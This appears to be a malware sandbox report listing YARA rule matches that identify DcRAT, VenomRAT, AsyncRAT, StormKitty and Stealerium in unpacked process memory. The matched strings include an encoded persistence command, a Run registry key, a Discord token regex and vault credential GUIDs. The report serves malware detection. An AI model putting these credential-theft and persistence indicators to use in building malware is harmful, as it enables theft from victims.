17.2.powershell.exe.5dd4f6a.8.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
17.2.powershell.exe.5dd4f6a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
17.2.powershell.exe.5dd4f6a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
17.2.powershell.exe.5dd4f6a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
17.2.powershell.exe.5dd4f6a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
17.2.powershell.exe.5dd4f6a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.powershell.exe.5dd4f6a.8.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
15.2.powershell.exe.64ff600.7.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
15.2.powershell.exe.64ff600.7.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
15.2.powershell.exe.64ff600.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.powershell.exe.64ff600.7.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
15.2.powershell.exe.64ff600.7.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
15.2.powershell.exe.64ff600.7.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x23f608:$a1: havecamera 0x28a432:$a2: timeout 3 > NUL 0x28d7b5:$a3: START "" " 0x28dcca:$a3: START "" " 0x28dba5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28dc42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
15.2.powershell.exe.64ff600.7.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x290b2c:$str01: Processe: 0x2909e8:$str02: Compname: 0x290ae2:$str04: SandBoxie: 0x290a78:$str08: WEBCAMS COUNT: 0x290a9c:$str09: [Virtualization] 0x2912ea:$str10: [Open google maps]( 0x292d61:$str11: Remember password: 0x285e54:$str12: Target.Browsers.Firefox 0x26d5cf:$str13: Modules.Keylogger 0x275492:$str14: ClipperAddresses 0x277637:$str15: ChromiumPswPaths 0x277649:$str15: ChromiumPswPaths 0x27358c:$str16: DetectedBankingServices 0x2736f5:$str17: DetectCryptocurrencyServices 0x2815ee:$str18: CheckRemoteDebuggerPresent 0x282573:$str19: GetConnectedCamerasCount
15.2.powershell.exe.64ff600.7.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x2fc1fb:$sk01: LimerBoy/StormKitty 0x250b52:$str01: set_sUsername 0x25e084:$str03: set_sExpMonth 0x27343f:$str04: WritePasswords 0x273ef9:$str05: WriteCookies 0x277648:$str06: sChromiumPswPaths 0x277623:$str07: sGeckoBrowserPaths 0x28cccf:$str10: encrypted_key":"(.*?)"
15.2.powershell.exe.64ff600.7.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28dc42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x289d12:$str04: Pac_ket 0x299a58:$str05: Perfor_mance 0x299a9c:$str06: Install_ed 0x244105:$str07: get_IsConnected 0x25a5ca:$str08: get_ActivatePo_ng 0x26e505:$str09: isVM_by_wim_temper 0x29a34a:$str10: save_Plugin 0x28a432:$str11: timeout 3 > NUL 0x299638:$str12: ProcessHacker.exe 0x29982a:$str13: Select * from Win32_CacheMemory
15.2.powershell.exe.64ff600.7.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28dc42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28dba5:$s2: L2Mgc2NodGFza3MgL2
15.2.powershell.exe.64ff600.7.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29982a:$q1: Select * from Win32_CacheMemory 0x29986a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x2998b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x299906:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
15.2.powershell.exe.64ff600.7.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x291a06:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
15.2.powershell.exe.64ff600.7.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2973a1:$s1: \VPN\NordVPN 0x297387:$s2: \VPN\OpenVPN 0x297369:$s3: \VPN\ProtonVPN
15.2.powershell.exe.64ff600.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28c0eb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28c15d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28c1e7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28c279:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28c2e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28c355:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28c3eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28c47b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.powershell.exe.64ff600.7.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x2fc1e8:$x2: https://github.com/LimerBoy/StormKitty 0x2fc204:$x3: StormKitty 0x27c1f4:$s2: GetAntivirus 0x29225a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28b6a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28cccd:$s6: "encrypted_key":"(.*?)"
15.2.powershell.exe.64ff600.7.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x289ca2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x285e16:$s6: VirtualBox 0x295995:$s6: VirtualBox 0x2913b2:$s8: Win32_ComputerSystem 0x2958fb:$s8: Win32_ComputerSystem 0x28e4de:$s9: Win32_Process Where ParentProcessID= 0x28e0fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28e198:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28e2ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28e395:$cnc4: POST / HTTP/1.1
27.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
27.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
27.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
27.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
27.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
27.2.RegAsm.exe.525b8a.0.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
27.2.RegAsm.exe.525b8a.0.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
27.2.RegAsm.exe.525b8a.0.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
27.2.RegAsm.exe.525b8a.0.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
27.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
27.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
27.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
27.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
27.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
27.2.RegAsm.exe.525b8a.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.4c4fae0.3.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x70fc0:$x2: https://github.com/LimerBoy/StormKitty 0x70fdc:$x3: StormKitty
14.2.powershell.exe.6a731aa.7.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
14.2.powershell.exe.6a731aa.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.powershell.exe.6a731aa.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.powershell.exe.6a731aa.7.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
14.2.powershell.exe.6a731aa.7.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
14.2.powershell.exe.6a731aa.7.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
14.2.powershell.exe.6a731aa.7.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
14.2.powershell.exe.6a731aa.7.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
14.2.powershell.exe.6a731aa.7.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
14.2.powershell.exe.6a731aa.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
14.2.powershell.exe.6a731aa.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
14.2.powershell.exe.6a731aa.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
14.2.powershell.exe.6a731aa.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
14.2.powershell.exe.6a731aa.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.powershell.exe.6a731aa.7.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
15.2.powershell.exe.623334a.6.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
15.2.powershell.exe.623334a.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.powershell.exe.623334a.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.powershell.exe.623334a.6.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
15.2.powershell.exe.623334a.6.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
15.2.powershell.exe.623334a.6.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d69e:$a1: havecamera 0x1684c8:$a2: timeout 3 > NUL 0x16b84b:$a3: START "" " 0x16bd60:$a3: START "" " 0x16bc3b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcd8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
15.2.powershell.exe.623334a.6.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16ebc2:$str01: Processe: 0x16ea7e:$str02: Compname: 0x16eb78:$str04: SandBoxie: 0x16eb0e:$str08: WEBCAMS COUNT: 0x16eb32:$str09: [Virtualization] 0x16f380:$str10: [Open google maps]( 0x170df7:$str11: Remember password: 0x163eea:$str12: Target.Browsers.Firefox 0x14b665:$str13: Modules.Keylogger 0x153528:$str14: ClipperAddresses 0x1556cd:$str15: ChromiumPswPaths 0x1556df:$str15: ChromiumPswPaths 0x151622:$str16: DetectedBankingServices 0x15178b:$str17: DetectCryptocurrencyServices 0x15f684:$str18: CheckRemoteDebuggerPresent 0x160609:$str19: GetConnectedCamerasCount
15.2.powershell.exe.623334a.6.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebe8:$str01: set_sUsername 0x13c11a:$str03: set_sExpMonth 0x1514d5:$str04: WritePasswords 0x151f8f:$str05: WriteCookies 0x1556de:$str06: sChromiumPswPaths 0x1556b9:$str07: sGeckoBrowserPaths 0x16ad65:$str10: encrypted_key":"(.*?)"
15.2.powershell.exe.623334a.6.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcd8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167da8:$str04: Pac_ket 0x177aee:$str05: Perfor_mance 0x177b32:$str06: Install_ed 0x12219b:$str07: get_IsConnected 0x138660:$str08: get_ActivatePo_ng 0x14c59b:$str09: isVM_by_wim_temper 0x1783e0:$str10: save_Plugin 0x1684c8:$str11: timeout 3 > NUL 0x1776ce:$str12: ProcessHacker.exe 0x1778c0:$str13: Select * from Win32_CacheMemory
15.2.powershell.exe.623334a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcd8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc3b:$s2: L2Mgc2NodGFza3MgL2
15.2.powershell.exe.623334a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778c0:$q1: Select * from Win32_CacheMemory 0x177900:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17794e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17799c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
15.2.powershell.exe.623334a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa9c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
15.2.powershell.exe.623334a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175437:$s1: \VPN\NordVPN 0x17541d:$s2: \VPN\OpenVPN 0x1753ff:$s3: \VPN\ProtonVPN
15.2.powershell.exe.623334a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a181:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1f3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a27d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a30f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a379:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3eb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a481:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a511:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
